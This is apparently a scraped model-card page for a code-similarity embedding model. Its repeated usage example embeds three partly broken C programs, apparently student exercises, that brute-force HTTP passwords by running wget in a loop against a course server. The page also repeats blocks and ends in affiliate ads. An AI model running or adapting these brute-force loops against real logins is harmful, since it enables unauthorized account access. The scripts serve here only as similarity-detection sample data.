\n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])

Deploy This Model

Production-ready deployment in minutes

Together.ai

Instant API access to this model

Fastest API

Production-ready inference API. Start free, scale to millions.

Try Free API

Replicate

One-click model deployment

Easiest Setup

Run models in the cloud with simple API. No DevOps required.

Deploy Now

Disclosure: We may earn a commission from these partners. This helps keep LLMYourWay free.